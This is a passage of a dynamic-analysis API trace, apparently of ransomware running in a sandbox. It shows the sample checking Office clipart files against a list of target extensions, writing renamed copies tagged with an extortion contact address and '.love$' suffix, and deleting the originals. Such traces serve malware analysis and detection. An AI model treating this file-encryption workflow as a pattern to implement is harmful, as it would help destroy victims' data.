lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.005] lstrlenW (lpString=".ppt") returned 4 [0122.005] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0122.006] lstrlenW (lpString=".zip") returned 4 [0122.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.006] lstrlenW (lpString=".rar") returned 4 [0122.006] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.006] lstrlenW (lpString=".bz2") returned 4 [0122.006] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.006] lstrlenW (lpString=".7z") returned 3 [0122.006] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0122.006] lstrlenW (lpString=".dbf") returned 4 [0122.006] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0122.006] lstrlenW (lpString=".1cd") returned 4 [0122.006] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0122.006] lstrlenW (lpString=".jpg") returned 4 [0122.006] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0122.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0122.006] lstrlenW (lpString=".doc") returned 4 [0122.006] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.006] lstrlenW (lpString=".docx") returned 5 [0122.006] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.006] lstrlenW (lpString=".pdf") returned 4 [0122.006] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.007] lstrlenW (lpString=".xls") returned 4 [0122.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.007] lstrlenW (lpString=".xlsx") returned 5 [0122.007] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.007] lstrlenW (lpString=".ppt") returned 4 [0122.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0122.007] lstrlenW (lpString=".zip") returned 4 [0122.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.007] lstrlenW (lpString=".rar") returned 4 [0122.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.007] lstrlenW (lpString=".bz2") returned 4 [0122.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.007] lstrlenW (lpString=".7z") returned 3 [0122.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0122.007] lstrlenW (lpString=".dbf") returned 4 [0122.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0122.007] lstrlenW (lpString=".1cd") returned 4 [0122.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0122.007] lstrlenW (lpString=".jpg") returned 4 [0122.007] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.008] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0122.008] lstrlenW (lpString="AN04384_.WMF") returned 12 [0122.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0122.009] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=4996) returned 1 [0122.009] CloseHandle (hObject=0x348) returned 1 [0122.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 0x220 [0122.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0122.010] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.010] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0122.010] GetLastError () returned 0x0 [0122.010] ReadFile (in: hFile=0x348, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x1384, lpOverlapped=0x0) returned 1 [0122.013] WriteFile (in: hFile=0x364, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x1390, lpOverlapped=0x0) returned 1 [0122.014] ReadFile (in: hFile=0x348, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0122.014] WriteFile (in: hFile=0x364, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0122.014] SetEndOfFile (hFile=0x364) returned 1 [0122.014] CloseHandle (hObject=0x364) returned 1 [0122.017] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.017] SetEndOfFile (hFile=0x348) returned 1 [0122.019] CloseHandle (hObject=0x348) returned 1 [0122.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0122.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0122.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0122.020] lstrlenW (lpString=".doc") returned 4 [0122.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.020] lstrlenW (lpString=".docx") returned 5 [0122.020] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.020] lstrlenW (lpString=".pdf") returned 4 [0122.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.020] lstrlenW (lpString=".xls") returned 4 [0122.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.020] lstrlenW (lpString=".xlsx") returned 5 [0122.020] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.020] lstrlenW (lpString=".ppt") returned 4 [0122.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0122.020] lstrlenW (lpString=".zip") returned 4 [0122.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.020] lstrlenW (lpString=".rar") returned 4 [0122.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.020] lstrlenW (lpString=".bz2") returned 4 [0122.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.020] lstrlenW (lpString=".7z") returned 3 [0122.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0122.020] lstrlenW (lpString=".dbf") returned 4 [0122.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0122.021] lstrlenW (lpString=".1cd") returned 4 [0122.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0122.021] lstrlenW (lpString=".jpg") returned 4 [0122.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0122.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0122.021] lstrlenW (lpString=".doc") returned 4 [0122.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.021] lstrlenW (lpString=".docx") returned 5 [0122.021] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.021] lstrlenW (lpString=".pdf") returned 4 [0122.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.021] lstrlenW (lpString=".xls") returned 4 [0122.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.021] lstrlenW (lpString=".xlsx") returned 5 [0122.021] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.021] lstrlenW (lpString=".ppt") returned 4 [0122.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0122.021] lstrlenW (lpString=".zip") returned 4 [0122.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.021] lstrlenW (lpString=".rar") returned 4 [0122.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.021] lstrlenW (lpString=".bz2") returned 4 [0122.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.022] lstrlenW (lpString=".7z") returned 3 [0122.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0122.022] lstrlenW (lpString=".dbf") returned 4 [0122.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0122.022] lstrlenW (lpString=".1cd") returned 4 [0122.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0122.022] lstrlenW (lpString=".jpg") returned 4 [0122.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.022] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0122.022] lstrlenW (lpString="AN04385_.WMF") returned 12 [0122.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0122.023] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=5004) returned 1 [0122.023] CloseHandle (hObject=0x348) returned 1 [0122.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 0x220 [0122.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0122.023] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.023] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0122.024] GetLastError () returned 0x0 [0122.024] ReadFile (in: hFile=0x348, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x138c, lpOverlapped=0x0) returned 1 [0122.029] WriteFile (in: hFile=0x364, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x1390, lpOverlapped=0x0) returned 1 [0122.030] ReadFile (in: hFile=0x348, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0122.030] WriteFile (in: hFile=0x364, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0122.030] SetEndOfFile (hFile=0x364) returned 1 [0122.031] CloseHandle (hObject=0x364) returned 1 [0122.246] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.246] SetEndOfFile (hFile=0x348) returned 1 [0122.247] CloseHandle (hObject=0x348) returned 1 [0122.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0122.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0122.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0122.248] lstrlenW (lpString=".doc") returned 4 [0122.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.248] lstrlenW (lpString=".docx") returned 5 [0122.248] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.248] lstrlenW (lpString=".pdf") returned 4 [0122.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.248] lstrlenW (lpString=".xls") returned 4 [0122.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.248] lstrlenW (lpString=".xlsx") returned 5 [0122.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.248] lstrlenW (lpString=".ppt") returned 4 [0122.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0122.248] lstrlenW (lpString=".zip") returned 4 [0122.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.248] lstrlenW (lpString=".rar") returned 4 [0122.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.248] lstrlenW (lpString=".bz2") returned 4 [0122.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.248] lstrlenW (lpString=".7z") returned 3 [0122.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0122.249] lstrlenW (lpString=".dbf") returned 4 [0122.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0122.249] lstrlenW (lpString=".1cd") returned 4 [0122.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0122.249] lstrlenW (lpString=".jpg") returned 4 [0122.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0122.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0122.249] lstrlenW (lpString=".doc") returned 4 [0122.249] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.249] lstrlenW (lpString=".docx") returned 5 [0122.249] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.249] lstrlenW (lpString=".pdf") returned 4 [0122.249] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.249] lstrlenW (lpString=".xls") returned 4 [0122.249] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.249] lstrlenW (lpString=".xlsx") returned 5 [0122.249] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.249] lstrlenW (lpString=".ppt") returned 4 [0122.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0122.249] lstrlenW (lpString=".zip") returned 4 [0122.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.250] lstrlenW (lpString=".rar") returned 4 [0122.250] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.250] lstrlenW (lpString=".bz2") returned 4 [0122.250] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.250] lstrlenW (lpString=".7z") returned 3 [0122.250] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0122.250] lstrlenW (lpString=".dbf") returned 4 [0122.250] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0122.250] lstrlenW (lpString=".1cd") returned 4 [0122.250] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0122.250] lstrlenW (lpString=".jpg") returned 4 [0122.250] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.250] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0122.250] lstrlenW (lpString="BD06102_.WMF") returned 12 [0122.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0122.251] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=16112) returned 1 [0122.251] CloseHandle (hObject=0x348) returned 1 [0122.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x220 [0122.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0122.251] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.251] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0122.252] GetLastError () returned 0x0 [0122.252] ReadFile (in: hFile=0x348, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x3ef0, lpOverlapped=0x0) returned 1 [0122.255] WriteFile (in: hFile=0x364, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x3f00, lpOverlapped=0x0) returned 1 [0122.256] ReadFile (in: hFile=0x348, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0122.256] WriteFile (in: hFile=0x364, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0122.256] SetEndOfFile (hFile=0x364) returned 1 [0122.257] CloseHandle (hObject=0x364) returned 1 [0122.260] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.260] SetEndOfFile (hFile=0x348) returned 1 [0122.261] CloseHandle (hObject=0x348) returned 1 [0122.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0122.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0122.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0122.262] lstrlenW (lpString=".doc") returned 4 [0122.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.262] lstrlenW (lpString=".docx") returned 5 [0122.262] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.262] lstrlenW (lpString=".pdf") returned 4 [0122.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.262] lstrlenW (lpString=".xls") returned 4 [0122.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.262] lstrlenW (lpString=".xlsx") returned 5 [0122.262] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.262] lstrlenW (lpString=".ppt") returned 4 [0122.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0122.262] lstrlenW (lpString=".zip") returned 4 [0122.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.262] lstrlenW (lpString=".rar") returned 4 [0122.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.262] lstrlenW (lpString=".bz2") returned 4 